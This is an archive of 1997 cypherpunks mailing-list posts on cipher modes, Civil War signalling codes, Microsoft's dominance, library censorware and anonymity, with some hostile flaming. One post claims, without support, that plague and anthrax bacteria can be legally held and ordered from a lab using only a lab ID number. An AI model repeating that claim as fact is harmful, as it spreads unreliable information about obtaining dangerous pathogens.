the Nuclear Emergency Search Team (N.E.S.T.) had successfully removed the
material, Bell was questioned about these nuclear materials. "It's just a
smoke detector!," he was reported to have claimed. N.E.S.T. officials
believe Bell was attempting to hide nuclear weapons components in ordinary
looking items. According to Special Agent  Emmanuel Goldstein, Bell was
practicing "nuclear steganography," a felony."

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bill.stewart@pobox.com
Date: Tue, 23 Dec 1997 02:16:21 +0800
To: Jim Choate <cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Civil War Crypto Question... (fwd)
In-Reply-To: <199712221521.JAA17610@einstein.ssz.com>
Message-ID: <3.0.3.32.19971222082144.006f97d0@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 09:21 AM 12/22/1997 -0600, Jim Choate wrote:
>> My impression from this and from the chapter summary is that the disk was
>> used for flag codes but not telegraphy.  For telegraphy the Union apparently
>> used a word-based route transposition that Friedman found unimpressive.
...
>Friedman? Who the hell is Friedman? None of my references has anyone by that
>named listed, let alone involved.

Friedman was the WWII / Korean War cryptographer who wrote some of the
main surveys of crypto at the time.  In particular, he wrote a 4-volume set
of books, some of which were declassified, and some which became declassified
after a lawsuit by John Gilmore.
				Thanks! 
					Bill
Bill Stewart, bill.stewart@pobox.com
PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "S. M. Halloran" <mitch@duzen.com.tr>
Date: Mon, 22 Dec 1997 15:01:58 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Is Unix dying--or even dead?
Message-ID: <199712220655.IAA25801@ankara.duzen.com.tr>
MIME-Version: 1.0
Content-Type: text/plain




On 19 Dec 97, Bill Stewart was found to have commented thusly:

> At 12:08 PM 12/19/1997 GMT, phelix@vallnet.com wrote:
> >>Silicon Graphics Inc.'s plan .... Windows NT 
> 
> >Does this mean that Unix is dying?
> >No, it means that graphics professionals are buying Wintel boxes 
> >instead of SGI's expensive workstations. ( a shame really,
> > SGI make some damn nice workstations, but that 
> >pesky price/performance ratio is pushing people into
> >high end Wintel boxes)
> 
> It's not just price/performance ratio - 
> it's affordable price for adequate performance.
> Now that Wintel boxes can crunch integers as well as a Cray-1,
> a $2K box has enough horsepower for all but really cutting-edge graphics,
> and you're going to buy the same monitor regardless of CPU.
> Sure, a $10K SGI probably has far more than 5x the performance,
> but not many people need it, especially if they're developing 
> applications for other people to use on cheaper boxes (games...)
> as opposed to producing TV shows, music videos, or running
> scientific visualization.
> 
> That's been a problem for the accounting and office-work for years
> - while Microsoft can bloat away any CPU you've got,
> an 8086 or 286 box could run spreadsheets, simple chart graphics,
> WordStar, a database, BASIC, and Flight Simulator as fast as a PDP-11
> for a lot less money, letting the business bootstrap itself
> in spite of the ugly excuse for a program loader MS sold for it,
> because any developer could afford the $5K (1982) or $2K (1997) box
> it takes to develop cool commercially viable applications
> (and, yes, you can use a $500 box today, but you wouldn't.)
> 
[....]
> 
> If you must run MSware, NT is at least an operating system.
> And it's easier to get graphics board manufacturers to write
> their drivers for Windows than Linux.

Assuming developers and users of "alternative" systems (including 
Unix family) are concerned about how MS is consolidating its 
position as the complete manager of the business/academic affairs of 
the entire globe,  I suggest to the members of the free Unix groups 
(developers, administrators/superusers) that they develop their own 
turnkey "office suite" and try to give MS a run for its money.  There 
is no time like now to get the X-Windows (or GUI-free-from-copyright) 
Complete Office bundled together and have a media gathering to make 
sure that all the important news organizations are informed.  You 
should get decent press exposure, since MS-bashing seems to be in 
vogue.  The Linux or FreeBSD people should select a mediagenic 
spokesperson from the group--one with fire in the belly--and then do 
the hard work of putting something together that a 25-year old 
free-Unix developer's 72-year old grandmother can install to a x86 
box.  In fact, your press conference would have real pinache if, in 
fact, you put someone's 72-year old grandmother before a PC with an 
empty disk drive, run the install, then type a short letter on the 
fancy word processer, addressed to Bill G., with the message "Up 
yours!"

By attacking Bill G. from the flank in this matter, you may possibly 
take his mind off his successful campaign to own the Internet.  I 
admire BillG, really.  He was rather late in anticipating how a 
network developed largely by universities and their students could be 
a medium that intruded upon the everyday world, and yet despite the 
efforts of well-meaning individuals and not-for-profit groups to keep 
the Internet from being owned, Bill G. just has too much savvy not to 
be able to own the important parts of the Internet too--not the 
cables and wires, of course, but the content as well as the software 
that drives it. And soon.  (Look for the next version of TCPIP, if it 
is called that, to be a copyright of Microsoft.  After all, Microsoft 
has its roots in writing OSes.)

Mitch Halloran
Research (Bio)chemist
Duzen Laboratories Group
Ankara   TURKEY
mitch@duzen.com.tr

other job title:  Sequoia's (dob 12-20-95) daddy

Mitch Halloran
Research (Bio)chemist
Duzen Laboratories Group
Ankara   TURKEY
mitch@duzen.com.tr

other job title:  Sequoia's (dob 12-20-95) daddy





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: David Honig <honig@otc.net>
Date: Tue, 23 Dec 1997 02:18:23 +0800
To: Anonymous <cypherpunks@Algebra.COM
Subject: Re: ECB, CBC, CFB, OFB
In-Reply-To: <199712202235.XAA24669@basement.replay.com>
Message-ID: <3.0.5.32.19971222090219.007ce1b0@otc.net>
MIME-Version: 1.0
Content-Type: text/plain



At 11:35 PM 12/20/97 +0100, Anonymous wrote:
>Can somebody more experienced than I am explain the strengths and weaknesses
>of these encryption modes as applied to CAST, IDEA, DES, and Blowfish?
>
>>       -m mode
>>              Set the transfer mode.
>>
>>              Valid ENCRYPTION modes are:
>>
>>              ecb    Electronic codebook mode
>>                     c[i] = f1(K, p[i])
>>                     p[i] = f2(K, c[i])
>>
>>              cbc    Ciphertext block chaining mode
>>                     c[i] = f1(K, p[i] ^ c[i-1])
>>                     p[i] = f2(K, c[i]) ^ c[i-1]
>>
>>              cfb    Ciphertext feeback mode
>>                     c[i] = f1(K, c[i-1]) ^ p[i]
>>                     p[i] = f2(K, c[i-1]) ^ c[i]
>>
>>              ofb    Output feeback mode
>>                     h[i] = f1(K, h[i-1])
>>                     c[i] = p[i] ^ h[i]
>>                     p[i] = c[i] ^ h[i]
>
>

A partial answer on why feedback is better than codebook mode: 
consider a video signal, with large amounts of uniform background.  Encrypted
with a codebook mode cipher, silhouettes will be visible since the uniform
background
will map to the same cipher value.  NB: the "uniformity" must span a block,
e.g., 64 bits for BF.

The tradeoff is 1. slightly increased latency & complexity 2. an error in
your output stream mangles
more data than in ECB mode.

Feeding a stream of zeros into a feedback-mode cipher produces a
pseudo-random output stream...in a good cipher.



------------------------------------------------------------
      David Honig                   Orbit Technology
     honig@otc.net                  Intaanetto Jigyoubu

"Windows 95 is a technologically complex product that is best left alone by
the government..."
 ---MSFT Atty B. Smith
















From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: David Honig <honig@otc.net>
Date: Tue, 23 Dec 1997 02:17:32 +0800
To: "Johnson, Michael P (Mike)" <cypherpunks@Algebra.COM>
Subject: Question on CFB variant with c[i-N]
In-Reply-To: <c=US%a=_%p=Stortek%l=LSV-MSG06-971221014643Z-85371@lsv-bridge.stortek.com>
Message-ID: <3.0.5.32.19971222091025.007aee10@otc.net>
MIME-Version: 1.0
Content-Type: text/plain



At 06:46 PM 12/20/97 -0700, Johnson, Michael P (Mike) wrote:
>
>
>>>              cfb    Ciphertext feeback mode
>>>                     c[i] = f1(K, c[i-1]) ^ p[i]
>>>                     p[i] = f1(K, c[i-1]) ^ c[i]
>


Suppose instead of c[i-1] you use c[i-N] where N is say 10. 
How would you prove that this has no security implications?
That 10-way interleaved cfb streams are security-equivalent to
a single cfb stream interleaved with the immediately previous block?



------------------------------------------------------------
      David Honig                   Orbit Technology
     honig@otc.net                  Intaanetto Jigyoubu

"Windows 95 is a technologically complex product that is best left alone by
the government..."
 ---MSFT Atty B. Smith
















From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Mon, 22 Dec 1997 23:05:04 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Civil War Crypto Question... (fwd)
Message-ID: <199712221521.JAA17610@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Sun, 21 Dec 97 21:46:22 PST
> From: jim@mentat.com (Jim Gillogly)
> Subject: Re: Civil War Crypto Question...
> 
> Jim Choate skribis:

> > On pp. 43 - 44 [of Hagerman's "The American Civil War..."]
> > ... a 'cipher disk' whereby the Union was able to
> > change their telegraph codes on an hourly schedule. It was apparently very
> > effictive in dealing with taps and such.
> > 
> > Anyone know of another source that discusses this disk? I looked in Applied
> 
> There's a very brief mention of a disk in "Masked Dispatches: Cryptograms
> and Cryptology in American History, 1775-1900", available from the NSA
> Central Security Service.  (Series 1, Pre-World War 1, Volume 1, United
> States Cryptologic History), Center for Cryptologic History, by Ralph
> E. Weber, 1993.

Thanks for the reference.

> On page 110 he says: "The North, on the other hand, adopted a handy "on-line"
> means of changing the basic flag code by prearrangement or at will, even within
> the act of transmission.  This was done with a disk, in which the alphabet on
> the inner disk revolved against an outer ring of flag combination, enabling an
> instant change of code."
> 
> My impression from this and from the chapter summary is that the disk was
> used for flag codes but not telegraphy.  For telegraphy the Union apparently
> used a word-based route transposition that Friedman found unimpressive.

Actualy it was used for telegraphy and flags. You see Mahan, the inventor of
the disk had also just invented the first ever alphabetic flag system.
Because of this system, instead of the wig-wag system others used, McClellan
was the first general in history to change his orders of attack 3 times in 3
days *and* win the battle. The problem on the Peninsula was the land was too
flat and the woods too thick to use it (see my original references around the
same few pages).

Friedman? Who the hell is Friedman? None of my references has anyone by that
named listed, let alone involved.

McClellan was the general in charge of the Army of the Potomac. Meyer was in
charge of the Signal Corp, which at the time was responsible for tactical
communications for McClellan. Originaly Meyer intended to use his new flag
system but because the terrain, flat and wooded, on the Peninsula they found
they weren't reliable. They were also using the balloons from the Union
Aeronautic Department under Lowe. They were quite effective, haven't found
out if they used Meyer's signal system. The flip side was the fully civilian
Military Telegraph under Stager which handled strategic telegraphy was
fighting Meyer for control of the various communications along technological
boundaries. At this time, while they were fighting the South and each other,
they brought in some Beardslee equipment (a rail-based portable telegraph
system) which apparently didn't work well at all. The Beardslee system was
the first use by an American army of portable telegraph equipment, it ran
between McClellan's headquarters to Stoneman's at Mechanicsville. Apparently
one of the chief problems was that wagons and people kept cutting the lines. 

Merry Christmas!


    ____________________________________________________________________
   |                                                                    |
   |      Those who make peaceful revolution impossible will make       |
   |      violent revolution inevitable.                                |
   |                                                                    |
   |                                          John F. Kennedy           |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <anon@squirrel.owl.de>
Date: Mon, 22 Dec 1997 17:58:49 +0800
To: cypherpunks@cyberpass.net
Subject: Coercive Monopolism vs Wimpyness
Message-ID: <713df006e49f70c246e313026b68041a@squirrel>
MIME-Version: 1.0
Content-Type: text/plain



>And, since Windows OS is so pitifully lousy, why do people continue to buy
>it, even without the computer attached;  why do they continue to upgrade,
>even if it's so slow and bloated?   Don't they realize Unix is better?
>Don't they realize they're just making Billg richer?

I use Linux primarily. People still buy Winblows for the same reasons I
bought Winblows 95.

Want to play a game from the store? Windows 95.

Want to install a new image in your Flash RAM on your motherboard? DOS
(Windows 95).

Want to have vendor-produced drivers? Windows 95.

Want to parse MS Turd documents? Windows 95 and MS Office.

Want to use a Windows-specific bullshit class registration system at your
university? Windows 95.

Want to run that program your mother sends you and wants you to run? She
uses Windows 95 because it was preinstalled on her machine, so you must use
Windows 95 too.

Some kind of bizarre hardware which the manufactuers won't release specs
for? (The AWE32 is a good example. Eventually somebody got pissed and
reverse engineered it.) Windows 95.

Happened to buy a printer? It won't say "Yes! It works with Ghostscript!" In
fact it won't say anything about hardware compatability. It'll just say
"Windows drivers included" along with a list of a bunch of software that I
don't want and don't need. So if it happens that the printer is
nonstandard...Windows 95.

Have a bunch of people in the office who don't care about platform
compatability and pass around Windows-specific document types or programs?
Windows 95.

Have a bunch of people in the office who, simply because Windows and
sometimes MacOS are taught as "computer education" in many universities and
public schools can't use anything else? Windows 95.

Have to use a university computer lab? The machines are probably running
Windows 95. So you wind up with an incentive to use Windows 95 elsewhere.
So...again, Windows 95.

Want to have a working copy of PGP 5.0 while everybody else has started
sending out DH-encrypted/signed messages and rolled DH keys? Windows 95.
(Yeah, yeah. The source was released in book form.)

This goes on and on and on. Sure there are counter arguments for these but
it gets real touchy real quick. Ever try to pressure a game company into
releasing Linux versions? Ever try to pressure an applications company to
release Linux versions? 

Explanation and analysis:

Microsoft spends millions on marketting. Linux, BSD, et al. simply don't
have a massive marketting machine. The PC rags and TV shows like CNet are
supported by Windows applications, Windows games, Microsoft, and
platform-specific web sites. 

Microsoft has no qualms about outright lying in its marketting material.
Look at the messages which display during Windows 95 installation for a good
example. "What you want to do, and more, is now possible." Yeah. What if I
want to have a decent telnet client? What if I want to have tons of free
software? They don't qualify the statement, yet the Microsoft lackies think
that Microsoft would never lie and it must be true.

The Windows interface is "point and drool." This has the effect of
attracting every lazy person possible. I say "lazy" because it's basically
no work to remember "rm" rather than "left click and drag to the recycle
bin." These people don't know how *anything* works on even the most basic
level. The Linux/BSD/whatever developers aren't going to make an interface
like that because they're competent, aren't trying to make money, don't want
to cripple their platform with it, and they don't necessarily want to
attract these people. Generally speaking, as "da web" has proven, if it
takes no brains to use something people with no brain will be attracted to
it in great numbers.

Microsoft, their friends, and some of their enemies did everything they
possibly could to break the web. HTML was designed as a relatively simple,
platform independant method of storing information. The idea was that you
could go throw in an image, but it was supposed to *augment* the message,
not *be* the message. And regardless of what you did the page was supposed
to be viewable from a text terminal. 

Netscape started by adding non-standard extensions to HTML, in effect
encouraging people to make Netscape-specific web pages. Netscape Gold and
other "web page designers" encourage people to release platform-specific web
pages -- they *should* throw an error if somebody puts in an unnamed link.
Then of course we had stuff like server-side image maps. And we have pages
with frames which are impossible to correctly display in a text mode, and
which bitch and moan and suggest you download Microsoft Internet Explorer or
Netscape Navigator/Communicator to read it. And I've seen pages which are
nothing but graphics files -- but hey, they're okay because they display
correctly in MSIE or Netscape.

Microsoft continues its little jihad by perverting Java, which is supposed
to be another platform-independant language, into a Windows-specific
language. While they were at it both Microsoft and Netscape decided to start
slinging HTML and nonstandard MIME types all over email and news postings.

When you buy a prebuilt computer in most cases you don't have a choice. You
have to get Windows 95, MSIE, and whatever other crap they decide to pile
on. Normally this wouldn't be a problem and you would just go to another
vendor but just about every single vendor is like this. 

When you buy hardware you pay for all sorts of Windows software. So now you
have all kinds of (bad) Windows software, so there's another reason to
use Windows. Microsoft knows this. For example, when you buy a scanner you
get Windows software for it, absolutely no design specs, no compatability
list, and in many cases they flat-out *won't* release design specs. 

When you call for technical support many (most?) places tell you to do
something like this: "Okay. Go click on the 'My Computer' icon--" "Uh, I run
Linux." "Uh, we don't support that." (Hint: It was a *hardware* problem,
*not* a software problem, but go boot up into Windows just so we know it was
broken. Oh, and you better have the latest version because that's all we
support.)

Many vendors only release drivers for whatever the latest and greatest
version of Winblows is going to be. Windows 3.1 drivers are starting to get
scarce. DOS drivers are basically nonexistant. Say, for instance, you
purchase or receive Windows NT Workstation 4.0. You then go out and buy an
AWE64. Creative Labs has stated that they aren't releasing a decent AWE64
driver for NT 4.0, but instead are targetting it at NT 5.0.

Compare this with the UNIX world where, for the most part, things are
platform independant and people like platform compatability. Most of the
time I can run something on Linux which I can run on BSD which I can run on
SunOS, etc.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Mon, 22 Dec 1997 23:13:54 +0800
To: bill.stewart@pobox.com (Bill Stewart)
Subject: Re: Frank Olson
In-Reply-To: <3.0.3.32.19971222014649.0069a4a4@popd.ix.netcom.com>
Message-ID: <199712221452.JAA16682@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain



Bill Stewart wrote:

| And email to some foreign destinations was inherently suspicious -
| like Swiss banks.  I once knew a guy who used a remailer for his
| mail to his bank - he'd mail it to Raoul at the Tijuana post office,
| who'd take the cash and mail the inner envelope to the bank.
| 
| Mail covers have been legal for a long time as well -
| as with pen registers on phones, they don't need a warrant to
| track your traffic.

	Theres an easy fix for this--write the return address on the
back of the envelope.  Perfectly legit, and makes them struggle to
show the return address matches the destination on the same bit of
mail.  Chain of evidence and all that.

	Like most easy fixes, its not complete.

Adam


-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: David Honig <honig@otc.net>
Date: Tue, 23 Dec 1997 02:12:23 +0800
To: Declan McCullagh <cypherpunks@toad.com
Subject: Re: SPECIAL REPORT: Censorware in the Stacks
In-Reply-To: <v03007800b0c4336d8c2e@[204.254.22.15]>
Message-ID: <3.0.5.32.19971222100447.007d28c0@otc.net>
MIME-Version: 1.0
Content-Type: text/plain



At 10:23 AM 12/22/97 -0500, Declan McCullagh wrote:
>
>
>     Mainstream Loudoun, a local group, and 11 other
>plaintiffs are challenging Loudoun County's decision to
>adopt one of the country's most iron-handed Internet
>policies, The Netly News has learned. In October, the
>library board voted to buy software called X-Stop that
>forbids both children and adults from visiting many
>sexually explicit web sites -- and plenty of innocuous ones
>too, such as Quaker and AIDS resources.
>
>     The plaintiffs hope to persuade a federal judge that
>X-Stop's overzealousness violates not just traditions of
>intellectual freedom in libraries, but the First Amendment
>as well. The 47-page complaint, which calls the
>restrictions "a harsh and censorial solution in search of a
>problem," also challenges a rule encouraging librarians to
>look over your shoulder and make snap judgments on which
>web sites should be off limits.
>


Note that if the library in question were not arm of the State,
noone would have any First Amendment claim.

This is reminiscent of TM's recent (controversial) analysis of the fired
county trashworker/author,
and suggests a clearer example of the confusion caused by State as Employer:

It is considered legal and moral for a *private employer* can use
censorware to restrict their LAN's access.
But if the employer is the State, and does this, the First might be dragged
in -confusing the issue,
since the government acting as State is constrained (by the constitution)
differently from the government
acting as Employer (constrained by employment law).

Perhaps some critical of Tim's analysis think that when government is
employer it can't censor its LAN?  Can't remove games from government owned
PCs?  

When the government removes games, pictures, etc. from its PCs it is acting
as a responsible efficient employer.
When the government attempts to remove games, pictures, etc. from stores it
is acting criminally.








------------------------------------------------------------
      David Honig                   Orbit Technology
     honig@otc.net                  Intaanetto Jigyoubu

"Windows 95 is a technologically complex product that is best left alone by
the government..."
 ---MSFT Atty B. Smith
















From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Mon, 22 Dec 1997 23:53:35 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Completely anonymous communications ARE only for "Criminals" (fwd)
Message-ID: <199712221607.KAA17862@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: 22 Dec 1997 15:20:08 -0000
> From: Charlie Comsec <comsec@nym.alias.net>
> Subject: Re: Completely anonymous communications ARE only for "Criminals" 

> Technology is currently progressing faster than our human protocols can keep
> up with. 

Spin-doctor bullshit. Technology is *created* by people. When the day comes
where we don't understand it we will quit making progress at the rate we
are. It *is* true that if you spend your days watching Opra and your nites
watching some cop-show then you will have no clue as to what is going on.
To understand technology *requires* activity and participation, something
that people are becoming less and less inclined to do when they can go flip
on their PlayStation or play Quake 2 and claim to be on the bleeding edge...

Posers, lamers, and wanna-be's.


    ____________________________________________________________________
   |                                                                    |
   |      Those who make peaceful revolution impossible will make       |
   |      violent revolution inevitable.                                |
   |                                                                    |
   |                                          John F. Kennedy           |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 23 Dec 1997 01:11:46 +0800
To: cypherpunks@toad.com
Subject: Re: Why I Support Microsoft
In-Reply-To: <3.0.2.32.19971222053134.038305f0@panix.com>
Message-ID: <5BD5He1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



frissell@panix.com writes:

> At 01:18 PM 12/21/97 -0700, Tim May wrote:
>
> >Giving Clinton the cold shoulder was Intel. (Having worked for Craig
> >Barrett and Andy Grove, I can tell you that they despise the Democrats.)
> >
> >Though not on the radar screen quite yet, I expect the real action will be
> >targetted against Intel. Particularly if it looks like the Merced will
> >effectively displace all mainframe and business-sized CPUs.

I know for a fact that an action against Intel involving its putting graphics
on the CPU and/or support chips is in the works.

However saying that M$ is one of the good guys just because their position
on GAK and strong crypto is a little more palatable than Netscape's and
because they don't donate as much $$$ to the Democratic National Committee
as Netscape does is, IMO, a little too much of a stretch.

This is a baseless, lawless, outrageous action, but I'm glad it's aimed at
someone I don't like.

> aware of the nature of government (TJ Rogers of Cypress Semi par example), he
> would have just litigated the matter for 15 years or so and then when the
> decision came down it would be irrelevant no matter what it was.  What is the
> significance of a legal decision involving 15-year-old software?  But Bill
> didn't do that.  He signed the Consent Decree.  He thought that if one pays
> the Danegeld the Dane will stop bothering you.  It doesn't work that way.
> You sign an AntiTrust consent decree and you have the Feds beating you over
> the head with it for years.  [Ask the Great Atlantic and Pacific Tea Company
> which signed one in the 50's and almost ceased trading.]

Yep! And don't forget IBM's consent decree,s crewing it and its customers.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Tue, 23 Dec 1997 00:15:03 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Hate speech and censorship (fwd)
Message-ID: <199712221620.KAA18039@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Mon, 22 Dec 1997 14:46:08 +0000 (   )
> From: Paul Bradley <paul@fatmans.demon.co.uk>
> Subject: Re: Hate speech and censorship

> Yes, those on the list a few months ago (around the time the list moved 
> from cocksucker John Gilmores toad.com to the distributed list format) 

Dude, that was well over a year ago...


    ____________________________________________________________________
   |                                                                    |
   |      Those who make peaceful revolution impossible will make       |
   |      violent revolution inevitable.                                |
   |                                                                    |
   |                                          John F. Kennedy           |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Mon, 22 Dec 1997 23:36:50 +0800
To: cypherpunks@toad.com
Subject: SPECIAL REPORT: Censorware in the Stacks
Message-ID: <v03007800b0c4336d8c2e@[204.254.22.15]>
MIME-Version: 1.0
Content-Type: text/plain




=======

The Netly News (http://netlynews.com/)
December 22, 1997

SPECIAL REPORT: Censorware in the Stacks
by Declan McCullagh (declan@well.com)

     Antiporn crusaders and free speech advocates have
locked horns for years over whether public libraries may
cordon off large portions of the Internet. A lawsuit to be
filed today against a Virginia county promises to answer
that question and set new guidelines for free speech in the
stacks.

     Mainstream Loudoun, a local group, and 11 other
plaintiffs are challenging Loudoun County's decision to
adopt one of the country's most iron-handed Internet
policies, The Netly News has learned. In October, the
library board voted to buy software called X-Stop that
forbids both children and adults from visiting many
sexually explicit web sites -- and plenty of innocuous ones
too, such as Quaker and AIDS resources.

     The plaintiffs hope to persuade a federal judge that
X-Stop's overzealousness violates not just traditions of
intellectual freedom in libraries, but the First Amendment
as well. The 47-page complaint, which calls the
restrictions "a harsh and censorial solution in search of a
problem," also challenges a rule encouraging librarians to
look over your shoulder and make snap judgments on which
web sites should be off limits.

[...]







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Brian W. Buchanan" <brian@smarter.than.nu>
Date: Tue, 23 Dec 1997 02:59:52 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Get your Anthrax shots OR Jim Bell hits Sweden
In-Reply-To: <Pine.HPP.3.91.971222145409.19316A-100000@cor.sos.sll.se>
Message-ID: <Pine.BSF.3.96.971222104729.13553B-100000@thought.calbbs.com>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 22 Dec 1997, Asgaard wrote:

> 1) Larry Wayne Harris, allegedly a microbiologist in
> Ohio who was sentenced for the posession of 'three bottles'
> of bubonic plague bacteria in 1995. Harris, said the article,
> had been engaged in the rasist organization Aryan Nation.

Actually, it's legal to possess bubonic plague bacteria, and anthrax as
well.  It's even possible to order anthrax from the same lab that supplied
Harris with the bubonic plague bacteria, and this is reportedly the same
lab that supplied Iraq with its anthrax.  According to Harris, all you
need to provide is a lab ID number, and in fact, this is what Harris was
prosecuted for -- illegal use of the ID number for the lab he worked at.

-- 
Brian Buchanan                                      brian@smarter.than.nu

No security through obscurity!  Demand full source code!
4.4BSD for the masses - http://www.freebsd.org

In protest of the draconian No Electronic Theft Act of 1997...

COPYRIGHT WARNING:
This message is Copyright (C) 1997 by Brian W. Buchanan, all rights reserved.

This message may not be reproduced, redistributed, transcribed, or
otherwise copied by electronic device, in whole or in part, by Microsoft
Corp. or any of its subsidiaries, the Church of Scientology, the United
States Government, or any entities attached to the Unites States
Government or holding active contracts with the United States Government,
unless a payment of $5,000 per copy is delivered to the author and recipt
acknowledged before said reproduction is made.  Failure to comply is a
violation of the No Electronic Theft Act of 1997 and is punishable by
fines up to $250,000 and up to 5 years in federal prison.  Full "fair use" 
copying and redistribution rights are granted to parties not named above.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 23 Dec 1997 01:03:52 +0800
To: cypherpunks@toad.com
Subject: Re: Identity, Persistence, Anonymity, and Accountability--Part I
In-Reply-To: <Pine.LNX.3.91.971219133750.1132B-100000@fatmans.demon.co.uk>
Message-ID: <yiF5He7w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Paul Bradley <paul@fatmans.demon.co.uk> writes:

> >      You Own Your Own Posts: You own your own words. This means that you
> >      are responsible for the words that you post to Nym and that
> >      reproduction of those words without your permission in any medium
> >      outside of the Nym mailing list may be challenged by you, the
> >      author.
>
> I am sure I need not outline for the members of the list the reasons why
> such copyright supporting drivel is not really in the spirit of the list,
> no-one owns my words, not me, nor anyone else, copyrights and patents
> infringe true free speech.

Only assholes post to forger Declan's nym list.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Tue, 23 Dec 1997 00:40:42 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Civil War Crypto Question... (fwd)
Message-ID: <199712221658.KAA18167@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

Date: Mon, 22 Dec 97 08:10:02 PST
From: jim@mentat.com (Jim Gillogly)
Subject: Re: Civil War Crypto Question... (fwd)
 
> > used for flag codes but not telegraphy.  For telegraphy the Union apparently
> > used a word-based route transposition that Friedman found unimpressive.
> >
> > Friedman? Who the hell is Friedman? None of my references has anyone by that
> > named listed, let alone involved.
 
> In case you weren't being ironic or something, Weber was referring to William
> F. Friedman, the star of the US cryptologic effort during WW2, who was
> commenting on the strength of the Union cryptosystems long after it was too
> late to do anything about them.  I gather the word-based route transposition
> was quite good enough to conceal the meaning from the Confederates, so I
> suppose one shouldn't be censorious.
 
Actualy that was so far out in left field that I didn't make the connection.

Really couldn't care less about Friedman and his WWII views of the Civil
War, not relevant to what I am doing. And further, if Friedman is claiming
that this code wheel wasn't invented by the telegraphers, for the
telegraphers then perhaps he isn't as historicaly accurate as some claim of
him. It is clear that Myer invented the code wheel, per his and McClellans
own documents, expressely for telegraphy as a direct results of the success
of Myers new flag signaling system previous to the Peninsula campaign.

Perhaps there is some confusion over exactly *which part* of the Union Army
was using what. McClellan was using Myer and his techno-marvels at the
tactical level and this had no relation to the strategic communications -
the big boys might very well have been using some fancy transposition
cipher.

After Antietam McClellan told Myer:

"When I start from this camp, I want to break loose from the regular
telegraph lines and depend upon those under my command."

The 'regular telegraph' was Military Telegraph which was the strategic
minded folks. That McClellan had no stomach for them is clear.


    ____________________________________________________________________
   |                                                                    |
   |      Those who make peaceful revolution impossible will make       |
   |      violent revolution inevitable.                                |
   |                                                                    |
   |                                          John F. Kennedy           |
   |                                                                    |
